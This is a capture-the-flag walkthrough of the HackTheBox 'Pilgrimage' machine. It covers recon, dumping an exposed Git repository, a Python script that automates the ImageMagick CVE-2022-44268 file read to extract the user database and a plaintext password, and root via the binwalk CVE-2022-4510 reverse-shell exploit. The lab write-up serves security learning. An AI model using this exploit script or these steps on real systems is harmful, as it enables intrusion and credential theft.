A HackTheBox Linux machine created by coopertim13 features:
ImageMagick Vulnerability
Binwalk RCE Vulnerability
Reconnaissance
Port Scanning
We found ports 22
and80
open on the target.
Copy $ sudo nmap -n -Pn -oN ports.nmap -p- -sS -T4 --min-rate 1000 -v < I P >
Website
We see the website http://pilgrimage.htb
hosted on the target, which we shall add to our host file /etc/hosts
, and the usage of Nginx from HTTP response.
Copy $ curl -i http://10.129.250.151
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sun, 25 Jun 2023 03:52:11 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://pilgrimage.htb/
We see that the site provides an image-uploading function for registered users.
We registered a user and uploaded an image for testing, and we first found that we could insert content via the parameters message
and status=success
.
By reviewing the page /dashboard.php
, we also found that
will be embedded in the page /dashboard.php
.
Git Repository
By fuzzing, we found the path .git
exists.
Copy $ fuff -u http://pilgrimage.htb/FUZZ -w path_to_raft_medium_files.txt
...
.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 11ms]
...
$ curl http://pilgrimage.htb/.git/HEAD
ref: refs/heads/master
We can then try to use git-dumper
to get the Git repository of source codes of the site.
Copy $ git-dumper http://pilgrimage.htb pilgrimage.git
Initial Access
CVE-2022-44268
We found the usage of the executable magick
from the repository we fetched
Copy $ ls -aF prilgrimage.git/
./ ../ assets/ dashboard.php* .git/ index.php* login.php* logout.php* magick* register.php* vendor/
Copy if ($_SERVER[ 'REQUEST_METHOD' ] === 'POST' ) {
$image = new Bulletproof \ Image ($_FILES);
if ($image[ "toConvert" ]) {
$image -> setLocation ( "/var/www/pilgrimage.htb/tmp" ) ;
$image -> setSize ( 100 , 4000000 ) ;
$image -> setMime ( array ( 'png' , 'jpeg' ) ) ;
$upload = $image -> upload () ;
if ($upload) {
$mime = ".png" ;
$imagePath = $upload -> getFullPath () ;
if ( mime_content_type ( $imagePath ) === "image/jpeg" ) {
$mime = ".jpeg" ;
}
$newname = uniqid () ;
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
We can see the version of the executable is ImageMagick 7.1.0-49
.
Copy $ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP ( 4.5 )
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
It seems that there's a file read vulnerability we could exploit.
Automation
To automate the process, we write the following Python script to read the file content and store it in file result
:
Copy #!/usr/bin/python3
import re , os , sys , shlex
import cmd
import subprocess
from requests import Session
USER = 'tester@example.com'
PASS = 's3cRet'
POC = 'https://github.com/voidz0r/CVE-2022-44268'
WORKDIR = '/tmp/imagick_reader'
try :
os . system ( "mkdir -p %s " % WORKDIR)
os . chdir (WORKDIR)
except FileNotFoundError as e :
print (e)
sys . exit ( - 1 )
os . system ( 'sh -c "[ -d poc ] || git clone \" %s \" poc"' % POC)
class Reader ( cmd . Cmd ):
def __init__ ( self , username , passwd ):
super (). __init__ ()
self . s = Session ()
self . url = 'http://pilgrimage.htb'
self . proxies = {
'http' : 'http://localhost:8080'
}
self . login ()
def login ( self ):
data = {
'username' : USER ,
'password' : PASS
}
res = self . s . post (self.url + '/login.php' , data = data, proxies = self.proxies)
if not 'Shrunken Image URL' in res . text :
self . register ()
def register ( self ):
data = {
'username' : USER ,
'password' : PASS
}
res = self . s . post (self.url + '/register.php' , data = data, proxies = self.proxies)
if not 'Shrunken Image URL' in res . text :
print ( 'register fail' )
def readFile ( self , path ):
subprocess . check_call (shlex. split ( 'cargo run --manifest-path poc/Cargo.toml " %s "' % path))
with open ( 'image.png' , 'rb' ) as f :
files = {
'toConvert' : ( 'dog.png' , f , 'image/jpeg' )
}
res = self . s . post (self.url + '/' , files = files, proxies = self.proxies)
imgUrl = re . match ( r ' . * message= ( ?P<url> . * ) & . * $ ' , res.url). group ( 'url' )
subprocess . check_call (shlex. split ( "wget \" %s \" -O res.png" % imgUrl))
content = subprocess.Popen(shlex.split('sh -c "identify -verbose res.png | grep \"^[0-9]\" | xxd -r -p"'), stdout=subprocess.PIPE).communicate()[0]
print (content)
with open ( 'result' , 'wb' ) as f :
f . write (content)
def do_EOF ( self , _ ):
return True
def emptyline ( self ):
pass
def default ( self , cmd ):
self . readFile (cmd)
r = Reader (USER, PASS)
r . cmdloop ()
We can read the file on the target now.
SQLite File
We've seen that the site stores user's credentials in the SQLite file /var/db/pilgrimage
from the source code file login.php
.
We thus get the SQLite file content via the Python script.
Copy ( Cmd ) /var/db/pilgrimage
Finished dev [unoptimized + debuginfo] target ( s ) in 0.01s
Running ` poc/target/debug/cve-2022-44268 /var/db/pilgrimage `
--2023-06-25 17:08:11-- http://pilgrimage.htb/shrunk/64986667291ed.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.129.250.151
Connecting to pilgrimage.htb (pilgrimage.htb) | 10.129.250.151 | :80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1192 (1.2K) [image/png]
Saving to: ‘res.png’
res.png 100%[======================= = > ] 1.16K --.-KB/s in 0s
2023-06-25 17:08:11 (214 MB/s ) - ‘res.png’ saved [1192/1192]
b'SQLite format 3\x00\x10\x00\x01\x01\x00@ \x00\x00\x00\x9a\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00
Using sqlite3
, we can dump the table users
and get user Emily's password abigchonkyboi123
:
Copy $ sqlite3 result
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite > select * from users ;
emily | abigchonkyboi123
tester@example.com | s3cRet
We can later use the credentials found to login to the target via SSH.
Privilege Escalation
Malware Scanning
With systemctl
, we found a service named malwarescan
is running.
Copy $ systemctl status
...
├─malwarescan.service
│ ├─685 /bin/bash /usr/sbin/malwarescan.sh
│ ├─708 /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
│ └─709 /bin/bash /usr/sbin/malwarescan.sh
...
$ systemctl cat malwarescan.service
# /etc/systemd/system/malwarescan.service
[Unit]
Description = Embedded malware scanner for imgshrink uploads
[Service]
User = root
WorkingDirectory = /root/quarantine
ExecStart = /usr/sbin/malwarescan.sh
Restart = always
[Install]
WantedBy = multi-user.target
We inspected the script malwarescan.sh
and found the usage of inotifywait
and binwalk
.
Copy #!/bin/bash
blacklist = ( "Executable script" "Microsoft executable" )
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE ; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout = "$( /usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[ @ ]}" ; do
if [[ "$binout" == * "$banned" * ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
The binwalk
is of version v2.3.2
:
CVE-2022-4510
We found the binwalk
of version v2.3.2
has a RCE vulnerability CVE-2022-4510
with a public exploit.
We use the exploit to generate a malicious png file and upload the image to the path /var/www/pilgrimage.htb/shrunk/
.
Copy $ ./poc.py < fil e > < i p > < por t >
The script malwarescan.sh
will extract the malicious png file with binwalk
and extract the embedded malicious Python code to the binwalk
plugins directory; hence we shall get our reverse shell running with root.
Miscellaneous
CVE-2022-4510
From the pull request, we can see the exploit is achieved by abusing the Python function os.path.join
to extract malicious binwalk
module to the directory .config/binwalk/plugins
which can then be executed and thus lead to RCE.
An attacker could craft a malicious PFS file that would cause binwalk to write outside the extraction directory. I attached a proof-of-concept (poc.zip) that, when extracted from the user's home directory, would extract a malicious binwalk module in .config/binwalk/plugins. This malicious plugin would then be loaded and executed by binwalk, leading to RCE.
Refer to the pull request.
Here's the commit fixing the vulnerability.